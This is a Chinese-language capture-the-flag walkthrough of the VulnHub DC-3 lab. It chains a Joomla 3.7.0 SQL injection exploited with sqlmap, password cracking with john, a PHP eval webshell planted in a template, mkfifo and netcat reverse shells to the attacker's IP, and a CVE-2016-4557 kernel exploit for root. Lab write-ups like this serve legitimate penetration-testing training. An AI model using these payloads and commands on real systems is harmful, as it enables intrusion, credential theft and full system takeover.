一、环境搭建:
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。
只有一个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-32,312/
二、渗透靶场
查看靶场ip输入ifconfig点击回车可以看到自己的IP地址
目标搭建的靶场,靶场IP地址为192.168.43.0/24
1.信息收集
使用nmap扫描 输入nmap -sP 192.168.43.0/24网段
扫描存活的主机 扫描到dc-3靶机的ip地址是: 192.168.43.131
kali的IP地址是192.168.43.128
192.168.66.1 vm8网卡
192.168.66.2 网关
192.168.66.142 靶机
192.168.66.254 DHCP服务器
192.168.66.139 kali本机
2.探端口及服务
输入nmap -A -p- -v 192.168.43.1
可以看到开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
3.网页信息探测
使用火狐打开网页 输入靶机IP地址 访http://192.168.43.131
页面会显示必须获得权限
4.joomScan扫描
这里介绍一个新工具joomscan,
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,输入apt install joomscan进行安装 提示没有joomscan 选择y安装
5.漏洞查找
输入joomscan --url http://192.168.43.131
知道了joomla cms版本为3.7.0
得到了网站后台地址http://192.168.43.131/administrator/
在火狐页面搜索得到后台地址
6.利用nikto扫描获取后台地址
Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
输入nikto --url http://192.168.43.131/
查找漏洞发现存在SQL注入
前面知道joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞
输入searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
我们可以看一下这个漏洞的提示信息
输入 searchsploit -m 42033.txt
输入cat 42033.txt
信息如图所示
把localhost修改为我们的靶机ip,到火狐页面去访问
http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
看到提示您的sql语法有错误;说明进行了拼接,存在sql注入
7.漏洞利用 sqlmap
1.跑出所有数据库
sqlmap -u "http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
(注:双引号里的内容是火狐搜索栏里的内容)
跑出来的数据如下图:
2.获取当前数据库的名字joomladb
sqlmap -u "http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
3.获取joomladb的users表
sqlmap -u "http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
我们需要关注#__users这张表
4.获取joomladb的users表的字段名
sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项,直接回车使用默认的“Y”
第二个选项,使用“y”,不要使用默认的,不然会出错
第三个选项随意
第四个选项使用10线程
成功的跑出六个字段
5.获取目标字段username和password
sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
拿到一个用户名和加密的密码, 如下图:
利用john爆破密码snoopy
创建一个1.txt,把加密的密码字段写入
输入echo ‘$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu ' >1.txt
在输入cat 1.txt 就写进去啦
7.使用john破解出admin密码是snoopy
输入john 1.txt 如图所知密码是snoopy
10.利用获取到的账号密码进行登录
在火狐网页里面搜索栏输入
http://192.168.43.131/administrator/
admin/snoopy
登陆成功
8.上传webshell
点击extensions,然后弹出一个框,滑到倒数第二个,点击最后一个
进入页面后再点击Beez3 Details and Files
然后再点击页面中的new files
点击到这里发现可以上传文件,我们先找到当前文件所在的目录:复制templates beez3 html
在火狐上输入http://192.168.43.131/templates/beez3/html 点击回车显示目录
回到刚刚的页面 点击new file
再点击html旁边有两个小框创建一个php文件,名字叫shell 点击create创建成功
创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
在火狐上在次访问 http://192.168.43.131/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
访问webshell,得到我们设置的会先内容,文件上传成功
http://192.168.43.131/templates/beez3/html/shell.php
9.蚁剑管理webshell
打开蚁剑右键添加数据,地址填写http://192.168.43.131/templates/beez3/html/shell.php
密码写a再点击测试链接 右下角会显示连接成功
点击添加 在刚刚添加的数据上右键进入虚拟终端执行whaomi查询我权限,是www-data权限
反弹shell到kali
输入nc -lvvp 1234
靶机连接 输入
nc -e /bin/bash 192.168.43.128 1234
页面会显示-e参数不可用
使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.128 1234 >/tmp/f
交互式shell
常用的就是python创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")' 点击回车 在输入ls
使用辅助脚本发现提权漏洞
1.下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
2.上传辅助脚本
上传脚本,直接在蚁剑里面上传,点击右键,选择上传文件,选择刚刚下载好的脚本,点击到开上传成功
输入ls点击回车,发现漏洞 ls -l linux-exploit-suggester.sh
发现没有执行权限,我们给他加个执行文件
输入chmod +x linux-exploit-suggester.sh
执行脚本
输入./linux-exploit-suggester.sh
发现很多可利用漏洞
11.提权
上面发现了很多的漏洞,这里我们挑一个进行提权
挑选cve-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
进入root里,输入searchsploit -m 39772.zip
地址根上面一样也不能使用的,
可以使用下面地址直接下载
bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
下载好以后,点击蚁剑右键上传文件
提权
解压文件
输入ls 点击回车,在输入unzip 39772.zip
输入cd 39772
输入ls
输入tar -xvf exploit.tar
输入cd ebpf_mapfd_doubleput_exploit
输入ls 点击回车
输入./compile.sh 点击回车
输入./doubleput.c点击回车
输入ls点击回车
在输入./doubleput点击回车
执行完如下图,提权成功
获得root权限
输入whoami点击回车如下图
12.发现the-flag.txt
输入cd /root
ls
cat the-flag.txt
完成!